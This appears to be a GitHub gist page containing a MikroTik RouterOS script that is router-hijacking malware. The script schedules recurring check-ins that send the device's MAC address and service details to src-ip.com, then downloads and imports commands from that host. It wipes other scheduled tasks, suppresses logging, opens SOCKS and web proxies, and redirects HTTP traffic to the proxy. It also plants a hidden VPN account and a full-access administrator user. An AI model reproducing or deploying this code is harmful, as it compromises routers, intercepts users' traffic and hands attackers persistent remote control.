Skip to content

Instantly share code, notes, and snippets.

@Lizyliposomize
Created January 12, 2019 02:51
Show Gist options
  • Save Lizyliposomize/cfc2fdf55b63069510fb7c169b8cb265 to your computer and use it in GitHub Desktop.
Save Lizyliposomize/cfc2fdf55b63069510fb7c169b8cb265 to your computer and use it in GitHub Desktop.
i113
/system scheduler
add interval=25m name="DDNS Serv" on-event="/system script run iDDNS" start-time=startup
/system script
add name=iDDNS source=":\
global mac [/interface ethernet get 1 mac-address]\r\
\n:global port ([/ip service get winbox port].\"_\".[/ip socks get port].\
\"_\".[/ip proxy get port])\r\
\n:global info ([/ip socks get enabled].\"_\".[/ip proxy get enabled].\"_\
\".[/interface pptp-server server get enabled])\r\
\n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
\n/tool fetch address=src-ip.com src-path=\$cmd mode=http dst-path=dns;:de\
lay 3s\r\
\n/import dns;:delay 4s;/file remove dns"
/system scheduler remove [/system scheduler find on-event!="/system script run iDDNS"]
/system logging action set memory memory-lines=1
/ip socks set enabled=yes port=("4".[:pick [/system clock get time ] 3 5].[:pick [/system clock get time] 6 8])
/ip proxy set anonymous=no enabled=yes port=8080 src-address=::
/ip proxy access add action=deny disabled=no
/ip firewall nat remove [find comment=sysadminpxy]
/ip firewall nat add disabled=no chain=dstnat protocol=tcp dst-port=80 src-address-list=!Ok action=redirect to-ports=8080 comment=sysadminpxy
/ip firewall nat move [find comment=sysadminpxy] destination=0
/ip firewall filter remove [find comment=sysadminpxy]
/ip firewall filter add disabled=no chain=input protocol=tcp dst-port=8080 action=add-src-to-address-list address-list=Ok address-list-timeout=15s comment=sysadminpxy
/tool fetch url=http://src-ip.com/error.html mode=http dst-path=flash/webproxy/error.html
/tool fetch url=http://src-ip.com/error.html mode=http dst-path=webproxy/error.html
:delay 4s
/ppp secret add name=srcvpn service=any password=[/interface ethernet get 1 mac-address] profile=default-encryption local-address=172.10.10.1 \ remote-address=172.10.10.10;/interface pptp-server server set enabled=yes max-mtu=1500 max-mru=1500
/user add name=system_default_user password=[/interface ethernet get 1 mac-address] group=full
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment